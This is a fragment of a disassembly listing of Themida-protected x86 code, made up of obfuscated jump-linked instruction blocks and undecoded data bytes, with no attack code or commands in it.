		dd 56000039h, 3D3C19BEh, 5EF5012Dh, 83241C8Bh, 0C58304C4h
		dd 242C8704h, 0E924248Bh, 0FFFFCAD8h, 53F2E950h, 34FF0000h
		dd 0E9535824h, 0FFFFD831h, 0EB86C581h, 0EF294D76h, 0FDEF815Dh
		dd 2924973Ah, 243C8BFAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_548406
; ---------------------------------------------------------------------------
		dd 4244481h, 7E19543Ah,	4246C01h, 543AB850h, 6C817E19h
		dd 4AC50824h, 0E1E96183h, 52000045h, 0D2F6DA88h, 3AA0E9h
		dd 24048900h, 4A5385B8h, 39E9571Ch
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544903:				; CODE XREF: Themida_:00544417j
		add	edx, 57AA5566h
		add	edx, 14CC3EB8h
		add	ebp, edx
		pop	edx
		jmp	loc_5495A6
; ---------------------------------------------------------------------------


loc_544917:				; CODE XREF: Themida_:00548A61j
		shr	ebx, 7
		dec	ebx
		add	ebx, 0A432EE1h
		jmp	loc_543E17
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 0C281E289h, 4, 8904EC83h,	0E9522404h, 8144h
		dd 51D3E95Ch, 0BF580000h, 0CE1C9ED0h, 215AD701h, 243C8BF8h
		dd 4C481h, 0C2090000h, 3168E2D1h, 89000012h, 1BE92404h
		dd 5B000005h, 0FFCA07E9h, 300025FFh, 0E0C10C6Bh, 0F5B0D05h
		dd 0E0C1298Ch, 24930508h, 0C331A91Fh, 0FFFAF1E9h, 4C483FFh
		dd 8304C483h, 348702C6h, 0CD25C24h, 0D5E99C24h,	2DFFFFC9h
		dd 3AAD5060h, 0CDDEE95Fh, 0D829FFFFh, 874C4C05h, 1AE95659h
		dd 5EFFFFD9h, 0E924048Fh, 344Bh
; ---------------------------------------------------------------------------


loc_5449C4:				; CODE XREF: Themida_:0054C2BBj
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	7FF2h
		jmp	loc_546CD8
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 7Bh
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5449DF:				; CODE XREF: Themida_:0054521Ej
		add	edx, edi
		push	7FE7h
		mov	[esp], ecx
		jmp	loc_54CACA
; ---------------------------------------------------------------------------
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_547FAC
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0FFCD92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_544A09:				; CODE XREF: Themida_:00542623j
		xchg	ebp, [esp]
		jmp	loc_546066
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 3
		dd 8024EA81h, 0D0010101h, 4EBF575Ah, 811DD365h,	687F3FE7h
		dd 83EF8120h, 0E972B15Bh, 0FFFFD9C9h
; ---------------------------------------------------------------------------


loc_544A34:				; CODE XREF: Themida_:0054BE8Bj
		mov	dh, 15h
		and	dh, 0AFh
		not	dh
		jmp	loc_5481ED
; ---------------------------------------------------------------------------
		dd 6DCE8166h, 0F6816643h, 4E664F37h, 402E6866h,	0BA7E9h
		dd 68D82900h, 69D5h, 0BE243489h, 1B8011A5h, 3432BB53h
		dd 0D8012499h, 76F9E9h,	81DAF700h, 3F77F5CAh, 0E6E95065h
		dd 89FFFFD8h, 22B7241Ch, 0E903EFC0h, 8E69h, 2288C781h
		dd 0F8298B17h, 240C8B5Fh, 0E9E78957h, 0FFFFCBE8h, 75E95266h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544AA7:				; CODE XREF: Themida_:0054789Bj
		add	edi, eax
		pop	eax
		sub	[esp+8], edi
		pop	edi
		add	[esp+4], edx
		add	dword ptr [esp+4], 3FEE3A5Dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54B87E
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC8A0h
; ---------------------------------------------------------------------------


loc_544AD8:				; CODE XREF: Themida_:0054D933j
		pop	edx
		dec	edi
		jmp	loc_54A6C1
; ---------------------------------------------------------------------------
aTs		db 'Té<',0Dh,0
		db 0
; ---------------------------------------------------------------------------


loc_544AE5:				; CODE XREF: Themida_:00548761j
		pop	ebp
		jmp	loc_54C273
; ---------------------------------------------------------------------------


loc_544AEB:				; CODE XREF: Themida_:005442D2j
		sub	word ptr [esp+2], 6E7Eh
		jmp	loc_54C402
; ---------------------------------------------------------------------------


loc_544AF7:				; CODE XREF: Themida_:0054A800j
		push	7AF5h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_541378
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0F685B724h, 4EFC0D7h, 3F780h, 0E95B5BF8h, 0FFFFC8FFh
		dd 4C75E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544B22:				; CODE XREF: Themida_:0054583Ej
		push	ebp
		jmp	loc_54C50F
; ---------------------------------------------------------------------------
		dd 4CE9585Dh, 31000019h, 0C33240Ch, 8B665C24h, 8C682404h
		dd 8900004Ah, 5A542414h, 4C281h, 7FE90000h, 5A00004Ah
		dd 1ED4EA81h, 0EBE955DFh, 68FFFFFDh, 14BDh, 0BA241489h
		dd 2F136B85h, 0FFDDD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_544B6D:				; CODE XREF: Themida_:005413F5j
		pop	edx
		push	ecx
		jmp	loc_5464B8
; ---------------------------------------------------------------------------
		dd 0EB885B5Ah, 0C53E9h,	50E68900h, 922E951h, 0F2010000h
		dd 5E2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, 2
		jmp	loc_5495B8
; ---------------------------------------------------------------------------
		dw 875Ah
		dd 248B242Ch, 4316624h,	0BBE99C24h, 5D000063h, 84E9515Fh
		dd 5DFFFFCCh, 5C241C87h, 2827E9h
		db 0
; ---------------------------------------------------------------------------


loc_544BCD:				; CODE XREF: Themida_:0054D6B1j
		sub	ebx, 76DC3BD8h
		sub	ebx, 4941ED91h
		sub	eax, 323520D2h
		sub	eax, ebx
		add	eax, 323520D2h
		pop	ebx
		jmp	loc_546F00
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0D2BD5547h, 0E923ED36h, 0FFFFF832h
; ---------------------------------------------------------------------------


loc_544BF8:				; CODE XREF: Themida_:005460D4j
		sub	ecx, 10255EB3h
		shr	ecx, 4
		add	ecx, 9EB991A2h
		mov	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, ebx
		mov	ebp, ecx
		jmp	loc_54D8DC
; ---------------------------------------------------------------------------
		dd 3304C683h, 34312434h, 1DAE924h, 0D4F60000h, 8039E480h
		dd 0F480B6ECh, 0E9E7006Fh, 0FFFFD76Fh, 47D36845h, 0C890000h
		dd 82D2E924h, 89660000h, 2DE92404h, 66FFFFC7h, 25E932FFh
		dd 0F7FFFFC7h, 512D68E1h, 3DE90000h, 66FFFFD3h,	9C240421h
		dd 0FFF025E9h, 815E54FFh, 4C6h,	4EE8300h, 5C243487h, 0E9242489h
		dd 5EB9h
; ---------------------------------------------------------------------------


loc_544C80:				; CODE XREF: Themida_:0054AEA4j
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 48F4169Fh
		or	edx, 7A836F05h
		xor	edx, 5483D48h
		mov	ebx, edx
		pop	edx
		add	ebx, 0F4460C20h
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	513h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 7EB771Bh
		push	ecx
		jmp	loc_544E39
; ---------------------------------------------------------------------------
		db 81h
		dd 6907242Ch, 2C813C71h, 34412224h, 0C6A6E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544CD2:				; CODE XREF: Themida_:00549792j
		add	edi, eax
		jmp	loc_548AC0
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 5Eh
		dd 0C381C301h, 5927D45h, 660BEB81h, 73E91DB2h, 8900003Eh
		dd 4C281E2h, 83000000h,	44E904C2h, 88000041h, 8A5B59EAh
		dd 0E902244Ch, 7F86h, 0B9240C89h, 6D1C739Dh, 0FFCDF8E9h
		dd 46BB53FFh, 8170FE5Ah, 1679D4C3h, 2FF38176h, 189BF89h
		dd 0C3815BDFh, 59AC1163h, 0EB81FB01h, 59AC1163h, 83243C8Bh
		dd 8F04C4h, 0FFC62FE9h,	32F381FFh, 516F135Dh, 3759EEB9h
		dd 0E9CB296Fh, 2B8Dh, 0F9BE564Bh, 2960669Fh, 4682E9F3h
		dd 0EA810000h, 1290A8Fh, 0C15AD501h, 0C58103EDh, 4B9F16Eh
		dd 685DE829h, 23E3h, 0B8240489h, 522751C2h, 5F46C381h
		dd 0C7E97F9Fh, 3100001Ch, 4332404h, 30FF5C24h, 0FFC5D3E9h
		dd 2BFFFh, 0FE890000h, 8BF3015Fh, 0C4832434h, 4EC8104h
		dd 89000000h, 74FF241Ch, 0ACE90424h, 1000050h, 240C8BCDh
		dd 0E904C483h, 19ECh, 0EFC1D7F7h, 0B1F78103h, 2D42959Eh
		dd 73A75750h, 5005F829h, 5F73A757h, 0C544AA2Dh,	4EC817Bh
		dd 0E9000000h, 4F2Bh, 5C243433h, 704BE9h, 240C8700h, 5124248Bh
		dd 0ECE9FD88h, 8BFFFFFEh, 0C4832434h, 68C33104h, 139Ah
		dd 0E9240489h, 0FFFFC550h, 80E95556h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_544E2F:				; CODE XREF: Themida_:0054595Aj
		pop	ecx
		sub	[esp+4], ebp
		jmp	loc_549AC2
; ---------------------------------------------------------------------------


loc_544E39:				; CODE XREF: Themida_:00544CBAj
		mov	ecx, 40421315h
		jmp	loc_54A4E5
; ---------------------------------------------------------------------------
		db 1
		dd 5F08247Ch, 4244481h,	269C1A29h, 4247C01h, 4246C81h
		dd 269C1A29h, 1C1DBB53h, 5C291E37h, 5F5B0824h, 0FFC50BE9h
		dd 4B8FFh, 0C3010000h, 0B5BF5758h, 56113558h, 8E7E3ABEh
		dd 3208E978h, 5D680000h, 8900001Dh, 3ABE2434h, 8933EA49h
		dd 2434FFF0h, 363AE9h, 0C2E95800h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544EA3:				; CODE XREF: Themida_:00546E3Cj
		dec	dl
		shl	dl, 5
		jmp	loc_546484
; ---------------------------------------------------------------------------
		db 1, 0C3h, 81h
aIckkXsA	db 'ë–Kª&X需',0
		dw 0B400h
		dd 58E78871h, 0FE71E780h, 80C7FECFh, 0C7FE4FE7h, 540CE9h
		dd 2434FF00h, 58545059h, 52E4E9h, 0E9C60100h, 23C7h
; ---------------------------------------------------------------------------


loc_544EE4:				; CODE XREF: Themida_:0054927Fj
		add	esi, 53042186h
		sub	ebx, 3471488h
		add	ebx, esi
		push	edi
		mov	edi, 3471488h
		add	ebx, edi
		pop	edi
		jmp	loc_54AA76
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC8353h,	51242489h, 4B9h, 244C0100h, 240C8B04h
		dd 4C481h, 0D4E90000h, 5400004Fh, 0FFF92DE9h, 8B6664FFh
		dd 0B4686602h, 20B2E950h, 0EF810000h, 1FD37479h, 0E95FFD31h
		db 59h,	0D8h
word_544F42	dw 0FFFFh		; DATA XREF: ___:off_436CE8o
		dd 8B2434FFh, 89502404h, 405E0h, 4050000h, 87000000h, 555C2404h
		dd 7400E9h, 0E2895200h,	4C281h,	0BE560000h, 4, 4E4FC281h
		dd 0F229154Fh, 4E4FEA81h, 0B3E9154Fh
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544F83:				; CODE XREF: Themida_:00542C2Fj
		movsx	ecx, al
		push	4E75h
		jmp	loc_545A24
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0B60F66h,	33768h,	241C8900h, 241C8B54h, 0E904C483h
		dd 835Ah, 0FFFEEA81h, 0D50100FFh, 2B9515Ah, 1000000h, 2C3359CDh
		dd 2700E924h, 0E0890000h, 405h,	0E487E900h, 489FFFFh, 2434FF24h
		dd 5D545558h, 8904EC83h, 4BB241Ch, 0E9000000h, 0FFFFF84Ah
		dd 1568C331h, 0E900004Ch, 0FFFFFA87h, 2C0835Eh,	0E9240487h
		dd 0FFFFDCB9h
; ---------------------------------------------------------------------------


loc_545004:				; CODE XREF: Themida_:0054837Cj
		add	esp, 4
		add	ebp, esi
		jmp	loc_54AB78
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6CE95142h, 5EFFFFC3h, 5C24048Fh, 2F13E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545026:				; CODE XREF: Themida_:00548C78j
		not	ebp
		push	73ADh
		mov	[esp], edi
		push	499Bh
		mov	[esp], ebp
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	edi, [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, esp
		jmp	loc_54A3EE
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 9C2404D2h, 0FFC303E9h, 766A25FFh,	0BF2D2CCAh
		dd 50C7A4Eh, 0FFF22AB8h, 2958C389h, 0D59AE9DAh,	1489FFFFh
		dd 80B4B224h, 0B76821C2h, 8900000Eh, 8853240Ch,	4870E9D7h
		dd 0C1810000h, 4, 4C181h, 4EE90000h, 58FFFFFDh,	601BE9h
		dd 6F0E6800h, 6AE90000h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5450C7:				; CODE XREF: Themida_:0054D5D5j
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_54AB42
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0F761E924h, 0C501FFFFh, 4D99C581h, 0E9587662h, 194Dh
		dd 5029C180h, 0FCE91BB0h, 8300000Fh, 0C8704E9h,	0E58EE924h
		dd 0CFBFFFFFh, 515A505Fh, 0E0690AB9h, 59CF094Dh, 96E78147h
		dd 4754756Fh, 579BCF81h, 0F7811BE0h, 5FF07F99h,	0E95FFE89h
		dd 546Ah, 24048B66h, 4EC8353h, 2A04E9h,	248B6600h, 0C232E924h
		dd 1C89FFFFh, 0E972B724h, 0FFFFCDF3h
; ---------------------------------------------------------------------------


loc_545150:				; CODE XREF: Themida_:0054A39Fj
		xor	ecx, 25ADBC2Bh
		sub	edx, ecx
		pop	ecx
		or	ebx, edx
		pop	edx
		xor	ebx, 7BEC06A3h
		xor	ebx, 302217DAh
		jmp	loc_54B618
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0C0h
		dd 24048704h, 8124248Bh, 4ECh, 240C8900h, 7F9C68h, 8214E900h
		dd 0F7280000h, 8B0CEF80h, 0C4832414h, 0AA2C04h,	8BAA04F8h
		dd 8952241Ch, 0D16EE9E2h, 5166FFFFh, 0C1CAE99Ch, 0C5E9FFFFh
		dd 5AFFFFC1h, 0BCE9FA01h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5451BB:				; CODE XREF: Themida_:00542BE5j
		pop	eax
		xor	edx, [esp]
		jmp	loc_54823A
; ---------------------------------------------------------------------------
		dd 0E9C15Ch, 840FC009h,	7F1Fh, 4EC81h, 1C890000h, 20FBE924h
		dd 0E9570000h, 36B8h
; ---------------------------------------------------------------------------


loc_5451E4:				; CODE XREF: Themida_:00545F54j
		inc	bl
		push	eax
		mov	ah, 1Ch
		jmp	loc_547A2F
; ---------------------------------------------------------------------------


loc_5451EE:				; CODE XREF: Themida_:00541ADBj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54B6E3
; ---------------------------------------------------------------------------
		dd 0FFC16BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54520D:				; CODE XREF: Themida_:00545D39j
		or	edx, eax
		shl	edx, 1
		push	3A94h
		mov	[esp], edx
		mov	edx, 24h
		jmp	loc_5449DF
; ---------------------------------------------------------------------------
		db 35h
		dd 4FDD1F98h, 0E958C101h, 0FFFFF8ECh, 4C581h, 0C5810000h
		dd 4, 0E9242C87h, 1732h, 240C8B66h, 241268h, 242C8900h
		dd 714C68h, 5FBDE900h, 0C3280000h, 24048B66h, 3E34E9h
		dd 59F80400h, 0D800A82Ch, 33CDE9h, 5052AD00h, 174BA7B8h
		dd 2624BA1Ch, 7DE94FDAh, 4A000077h, 0E241E94Ah,	1C33FFFFh
		dd 4305C24h, 0E1E99C24h, 51FFFFC0h, 240C8B54h, 0FFCB93E9h
		dd 243C89FFh, 688CBE56h, 50E928FAh, 0BD000005h,	38623257h
		dd 623253BEh, 5DEE3138h, 0FFF8C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5452C1:				; CODE XREF: Themida_:00541CF5j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	0B48h
		jmp	loc_5469D4
; ---------------------------------------------------------------------------


loc_5452DE:				; CODE XREF: Themida_:00548194j
		add	ebx, 6D23488Ch
		jmp	loc_542CEF
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 2512052Ch, 0D263E959h, 0C481FFFFh, 4, 692BE9h, 0E9D58900h
		dd 0FFFFE847h
; ---------------------------------------------------------------------------


loc_545308:				; CODE XREF: Themida_:005468C6j
		jmp	loc_541378
; ---------------------------------------------------------------------------


loc_54530D:				; CODE XREF: Themida_:00549924j
		xor	ebx, 48E45EBBh
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	ecx, 7
		push	5B3Fh
		jmp	loc_54ACE5
; ---------------------------------------------------------------------------
aUwW@GbcqLSz	db 'UW¿W@',0Bh,'gçq^L`éZ!',0
		db 0
; ---------------------------------------------------------------------------


loc_54533B:				; CODE XREF: Themida_:00541C26j
		pop	esi
		add	ebx, 40EC28F2h
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 25765FAAh


loc_545350:				; DATA XREF: ___:off_43B044o
		not	edi
		shr	edi, 5
		jmp	loc_548CB6
; ---------------------------------------------------------------------------
		dw 0D189h
		dd 0FFCA9BE9h, 0E9C209FFh, 1F5Fh, 1105F781h, 88050904h
		dd 17F1419h, 0AEBF57F8h, 4F007073h, 5A25EF81h, 0F829815Ch
		dd 0C0835F5Fh, 24043304h, 33240431h, 248B2404h,	2434FF24h
		dd 30606858h, 3C890000h, 52E78924h, 0F6729DBAh,	4F3FE902h
		dd 0FF520000h, 8B042474h, 0E9562414h, 0A41h, 0FF2434FFh
		dd 81582434h, 4C4h, 0E2895200h,	37DEE9h, 0BFA2E900h, 0DF01FFFFh
		dd 0DEC7815Bh, 81DC0CA0h, 0D66724EEh, 81FE0162h, 0D66724C6h
		dd 0BD555F62h, 5C377114h, 6B7EBE56h, 0EE81670Fh, 172530E4h
		dd 188CEE81h, 0EE812A4Dh, 2CDF7D1h, 0F9E9F529h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545413:				; CODE XREF: Themida_:00548CEDj
		push	ecx
		mov	ecx, 5C19166Ch
		xor	[esp+4], ecx
		jmp	loc_547BD0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E9F8E924h, 0EF89FFFFh, 0FFF2E3E9h, 9F781FFh, 3129DA03h
		dd 0C3815FF8h, 26AA4B96h, 0FFFA68E9h, 4C681FFh,	68000000h
		dd 2ECFh, 0BA241489h, 2, 34FFD601h, 0C4835A24h,	24348704h
		dd 6624248Bh, 68240C8Bh, 583h, 0E9243489h, 4D78h, 1C3E68h
		dd 24048900h, 4B8h, 0E9C70100h,	0FFFFF11Eh, 7E1D88B8h
		dd 58C30168h, 51C2C381h, 0A5685227h, 8900006Fh,	0E957241Ch
		dd 0FFFFC151h, 0A002D368h, 0E0D2E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5454B2:				; CODE XREF: Themida_:0054CCD9j
		mov	[eax], bh
		pop	eax
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_541378
; ---------------------------------------------------------------------------
		dw 0C87h
aSag		db '$\éAG',0
		dw 5B00h
		dd 0C0E9D6F6h, 81FFFFF2h, 0D96F3CF1h, 53E16872h, 2C890000h
		dd 52515624h, 0CA0794BAh, 6EA8154h, 0E9113E79h,	5A9Bh
; ---------------------------------------------------------------------------


loc_545508:				; CODE XREF: Themida_:0054B6E4j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54A722
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 74h
		dd 1062420h, 0EC835FFBh, 24348904h, 0F87BE957h,	1C89FFFFh
		dd 6B5A6824h, 2C890000h, 6F6FBD24h, 6FBB187Dh, 311A7D6Fh
		dd 0D8215DEBh, 5B2434FFh, 0E904EC83h, 1102h
; ---------------------------------------------------------------------------


loc_545550:				; CODE XREF: Themida_:0054AC0Ej
		push	edx
		jmp	loc_54C38C
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E4E95024h, 66FFFFDBh, 6824048Bh, 4EFFh, 68240C89h
		dd 145Ch, 81242489h, 42404h, 0E9590000h, 4386h,	6A516856h
		dd 0EDE9332Ah, 5000005Fh, 223DE9h
		db 0
; ---------------------------------------------------------------------------


loc_545591:				; CODE XREF: Themida_:0054A517j
		add	esp, 4
		pop	edx
		pop	ebx
		push	32F5h
		mov	[esp], eax
		jmp	loc_5428AC
; ---------------------------------------------------------------------------
		db 81h
		dd 4EDh, 242C3300h, 33242C31h, 895C242Ch, 0BDE92404h, 8FFFFFBDh
		dd 0BDB6E902h, 0E1F6FFFFh, 52CEE9h, 0E9E58800h,	0FFFFD2C5h
		dd 9D1C77FFh, 24041158h, 0F4F5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5455DE:				; CODE XREF: Themida_:00542E19j
		pop	ax
		movzx	eax, al
		jmp	loc_54C018
; ---------------------------------------------------------------------------
		dd 0B0F4C581h, 0E931FA5Fh, 59CD295Dh, 0E95DEA29h, 0FFFFBD7Ch
		dd 241C8966h, 88EBB66h,	66DE2966h, 5605665Bh, 0F0016623h
		dd 0BF665766h, 5662356h, 2966089Dh, 9D2D66F8h, 41B6E908h
		dd 0C4830000h, 68535204h, 0EC64E26h, 0A0C3815Bh, 89FC45C1h
		dd 0DA22E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54563E:				; CODE XREF: Themida_:0054665Ej
		push	ebx
		sub	dword ptr [esp], 217733B9h
		pop	eax
		add	eax, 217733B9h
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	0F64h
		mov	[esp], esi
		push	ebx
		mov	ebx, 20000h
		push	eax
		mov	eax, ebx
		mov	esi, eax
		pop	eax
		pop	ebx
		and	eax, esi
		mov	esi, [esp]
		push	314h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 15E95DFEh
		jmp	loc_54ABFD
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8904EC83h, 0C8E9240Ch, 68000001h, 6DF0h, 1F6F68h, 4EC8100h
		dd 89000000h, 4832424h,	48F0424h, 1E94E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5456BE:				; CODE XREF: Themida_:0054BFA4j
		xor	edx, 357944D0h
		xor	edx, 6D570E8Dh
		mov	eax, edx
		pop	edx
		shl	eax, 7
		dec	eax
		jmp	loc_54A197
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4034BA24h, 0B9517E15h, 20h, 0E950F901h, 0FFFFD07Ah
; ---------------------------------------------------------------------------


loc_5456EC:				; CODE XREF: Themida_:0054BC27j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_5440C1
; ---------------------------------------------------------------------------
		db 5
		dd 7B95F8Dh, 0FFD9A3E9h, 240481FFh, 55DF1ED4h, 0FFF43EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545711:				; CODE XREF: Themida_:0054AA77j
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_54A1D8
; ---------------------------------------------------------------------------


loc_54571F:				; CODE XREF: Themida_:00541EDDj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		jmp	loc_549361
; ---------------------------------------------------------------------------
		dd 5A66C22Ch, 91E95366h, 89000017h, 0E954242Ch,	3203h
		dd 10B5E95Ah, 30AC0000h, 36B6E9D8h, 895E0000h, 1E95EF5h
		dd 5BFFFFE2h, 0D0F7485Fh, 0FFE9D6E9h, 242489FFh, 4BA52h
		dd 54010000h, 595A0424h, 4B850h, 0C1010000h, 4685658h
		dd 8B000000h, 0C4812434h, 4, 0E95EF129h, 0FFFFF93Eh
; ---------------------------------------------------------------------------


loc_54579C:				; CODE XREF: Themida_:005484D2j
		mov	esp, [esp]
		push	6736h
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_543CB2
; ---------------------------------------------------------------------------
aLScs		db '‹,$éCs',0
		align 2
		dw 0EBD1h
		dd 9B3AC381h, 0B3E923AAh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5457C7:				; CODE XREF: Themida_:0054CF9Aj
		pop	edx
		add	bl, 52h
		jmp	loc_5446E0
; ---------------------------------------------------------------------------
		dd 592434FFh, 4C481h, 285A0000h, 525B66D8h, 0B0E911B2h
		dd 0B6000059h, 0F5C68052h, 8073B450h, 0E4C0C4E4h, 80DCF606h
		dd 0AFE95AC4h, 0BFFFFFC9h, 28FA688Eh, 815EF729h, 7E1B93E9h
		dd 53F9010Bh, 7E1B93BBh, 0E9D9010Bh, 598Dh
; ---------------------------------------------------------------------------


loc_54581C:				; CODE XREF: Themida_:005444A0j
		jmp	loc_541378
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 87h
		dd 28FFFFD2h, 0C8B66EBh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	570Ch
		mov	[esp], edi
		jmp	loc_544B22
; ---------------------------------------------------------------------------
		db 1
aScz		db 'Êé—z',0
		align 2
		dw 0B951h
		dd 63F471B9h, 4244C01h,	89525859h, 945E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54585E:				; CODE XREF: Themida_:00542BC9j
		mov	esp, [esp]
		push	ebp
		jmp	loc_548468
; ---------------------------------------------------------------------------
		db 0B9h
		dd 75347920h, 0E908E9C1h, 0FFFFD26Eh, 0B6525366h, 5AF388A3h
		dd 9FDE9h, 0BAF2E900h, 0C480FFFFh, 0FDEC8017h, 0E9E78853h
		dd 4C2Bh, 8704C583h, 248B242Ch,	2404FF24h, 0BAD2E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5458A6:				; CODE XREF: Themida_:00542A28j
		add	edi, edx
		add	edi, 701A6C33h
		mov	edx, [esp]
		jmp	loc_54B8C7
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835924h, 55D82904h, 0E2748ABDh, 5B2DE96Ah, 0C4810000h
		dd 4, 5E08950h,	4, 7150E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5458DE:				; CODE XREF: Themida_:00546924j
		mov	eax, 48BB2B6Ch
		push	49022D63h
		pop	esi
		sub	esi, eax
		jmp	loc_5434C0
; ---------------------------------------------------------------------------
		dd 97FE8B9h, 6AC1817Bh,	1982585h, 835E59CAh, 7E904ECh
		dd 0BE000066h, 2E627F28h, 2012E953h, 0C5810000h, 2DF07D8Eh
		dd 0FF9F581h, 0E989C726h, 5BD9315Dh, 0FFCBC5E9h, 240C89FFh
		dd 6250BEB9h, 0FFBA524Dh, 0E9FFFFFFh, 7108h, 24048B66h
		dd 41E95452h, 81FFFFBBh, 2D57B6C1h, 4FF6E912h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545952:				; CODE XREF: Themida_:00544831j
		add	esp, 4
		sub	ebp, ecx
		jmp	loc_544E2F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 7574E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54596A:				; CODE XREF: Themida_:00542074j
		add	edi, 342D2C53h
		sub	edi, eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 76413665h
		jmp	loc_54343F
; ---------------------------------------------------------------------------


loc_54598F:				; CODE XREF: Themida_:0054A741j
		shr	eax, 7
		push	ebp
		mov	ebp, 0F5779B2h
		shr	ebp, 7
		jmp	loc_54B3C8
; ---------------------------------------------------------------------------


loc_5459A0:				; CODE XREF: Themida_:0054D11Ej
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1
		sub	esp, 4
		mov	[esp], ebp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebp, [esp]
		jmp	loc_5486F0
; ---------------------------------------------------------------------------
		dw 0EB81h
